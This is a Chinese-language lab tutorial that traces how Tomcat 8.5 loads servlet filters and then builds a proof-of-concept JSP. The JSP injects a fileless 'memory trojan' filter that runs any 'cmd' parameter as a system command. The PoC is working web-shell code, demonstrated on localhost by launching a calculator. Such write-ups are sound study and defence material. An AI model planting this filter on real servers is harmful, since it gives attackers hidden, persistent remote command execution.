0x00 实验环境
- jdk1.8
- tomcat8.5.100
步骤
- 使用Intellij IDEA新建maven项目,选择maven-archetype-webapp

- 修改pom
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 | <?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.milon</groupId> <artifactId>MemoryTrojan</artifactId> <version>1.0-SNAPSHOT</version> <packaging>war</packaging> <name>MemoryTrojan Maven Webapp</name> <properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <maven.compiler.source>1.8</maven.compiler.source> <maven.compiler.target>1.8</maven.compiler.target> </properties> <dependencies> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>4.0.1</version> <scope>compile</scope> </dependency> <dependency> <groupId>javax.servlet.jsp</groupId> <artifactId>jsp-api</artifactId> <version>2.1</version> <scope>provided</scope> </dependency> <!--引入tomcat是为了调试源码--> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.100</version> <scope>provided</scope> </dependency> </dependencies> <build> <finalName>MemoryTrojan</finalName> <pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) --> <plugins> <plugin> <artifactId>maven-clean-plugin</artifactId> <version>3.1.0</version> </plugin> <!-- see http://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_war_packaging --> <plugin> <artifactId>maven-resources-plugin</artifactId> <version>3.0.2</version> </plugin> <plugin> <artifactId>maven-compiler-plugin</artifactId> <version>3.8.0</version> </plugin> <plugin> <artifactId>maven-surefire-plugin</artifactId> <version>2.22.1</version> </plugin> <plugin> <artifactId>maven-war-plugin</artifactId> <version>3.2.2</version> </plugin> <plugin> <artifactId>maven-install-plugin</artifactId> <version>2.5.2</version> </plugin> <plugin> <artifactId>maven-deploy-plugin</artifactId> <version>2.8.2</version> </plugin> </plugins> </pluginManagement> </build></project> |
- 新建一个servlet
1 2 3 4 5 6 7 | @WebServlet("/hello")public class HelloServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { resp.getWriter().write("HelloServlet doGet..."); }} |
- 新建Listener
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | @WebFilter(urlPatterns = "/hello")public class HelloFilter implements Filter { @Override public void init(FilterConfig filterConfig) { System.out.println("HelloFilter init"); } @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { System.out.println("HelloFilter doFilter"); chain.doFilter(request, response); } @Override public void destroy() { System.out.println("HelloFilter destory"); }} |
- 配置tomcat启动


完成上述步骤,即可以debug模式启动项目。
0x01 分析调用链
将断点打至doFilter方法

观察调用堆栈,doFilter方式是由ApplicationFilterChain的internalDoFilter方法调用的:

按ctrl点filter变量跳转到它的定义:

可见其是由filterConfig得到的,filterConfig是从数组filters中获取的一个元素,于是可以得到一个结论:在filters数组中放置一个filterConfig对象即可调用到其对应的doFilter方法。
现在反推第一个问题:filters数组从哪里赋值?
按ctrl点filters,寻找其赋值操作:

倒数第三个动作是给数组元素赋值,点击进去,然后在这里下个断点,重启tomcat,在浏览器中访问http://localhost:8080/MemoryTrojan/hello触发HelloFilter的执行,断点停在这里,filters数组元素被赋值为一个filterConfig变量,而filterConfig是由addFilter方法的参数传入的:

点击上一层栈帧,跟踪filterConfig从何而来:

是由一个StandardContext对象调用findFilterConfig方法获取的,而这个方法传入了一个String类型的name,该name是由filterMap获得的。
可以看看filterMap都包含了哪些信息:

主要就两点信息,一是urlPatterns,咱们在代码注解中配置的"/hello",另外一个是filterName,默认取全类名。
接下来反推第二个问题:filterMap从何而来?
继续按ctrl点击filterMap跳转至定义:

可见filterMap是数组filterMaps的一个元素:

filterMaps是StandardContext类型对象调用findFilterMaps方法获取的,

findFilterMaps方法又使用了一个StandardContext对象的私有属性也叫filterMaps:

于是接下来,继续寻找这个filterMaps在哪里有赋值动作:

第一个动作就是,点进去下个断点,重启tomcat,代码停留在断点处:

这里可以得到第二个结论:tomcat调用了StandardContext对象的addFilterMap方法添加了filterMap。
分析完filterMap后,我们再回到此处,分析StandardContext对象的findFilterConfig方法:

点击进去发现用到了一个filterConfigs,

跳转到其定义发现是一个HashMap

按ctrl寻找给该map put值的地方,在此下个断点,重启tomcat,代码停留在断点处:

这里new了一个ApplicationFilterConfig对象,而这个对象构造方法的第二个参数是一个FilterDef类型的对象,FilterDef主要包含的信息有:filterClass,也就是过滤器类,以及filterName。
至此可以得到第三个结论:构造一个ApplicationFilterConfig类型的对象filterConfig,并传入一个包含过滤器类型的filterDef,再将filterConfig放入HashMap类型的对象filterConfigs中,tomcat即可获取到该filterConfig。
0x02 POC编写
先梳理一下上面的分析过程:
- 构造一个FilterDef,并作为参数再构造一个filterConfig;
- 将filterConfig放入HashMap类型对象filterConfigs中;
- 构造一个filterMap,添加到StandardContext中。
依据这条路线来编写poc,在webapp目录下新建poc.jsp。
定义一个有RCE的Filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | <%! public class ShellFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(request, response); } @Override public void destroy() { } }%> |
注入该filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | <% /* 通过反射获取到StandardContext对象 */ ServletContext servletContext = request.getSession().getServletContext(); Field appContextField = servletContext.getClass().getDeclaredField("context"); appContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); final String filterName = "shellFilter"; /* 定义filterDef */ FilterDef filterDef = new FilterDef(); filterDef.setFilter(new ShellFilter()); filterDef.setFilterName(filterName); filterDef.setFilterClass(ShellFilter.class.getName()); standardContext.addFilterDef(filterDef); /* 利用反射构造filterConfig,同时传入filterDef */ Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); /* 通过反射获取filterConfigs,并放置filterConfig */ Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs"); filterConfigsField.setAccessible(true); Map filterConfigs = (Map) filterConfigsField.get(standardContext); filterConfigs.put(filterName, filterConfig); /* 定义filterMap,并添加到standardContext中 */ FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(filterName); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMap(filterMap);%> |
接下来访问http://localhost:8080/MemoryTrojan/poc.jsp,此时filter已经被注入到tomcat中,
然后访问http://localhost:8080/MemoryTrojan/?cmd=calc,即可执行系统命令弹出计算器:
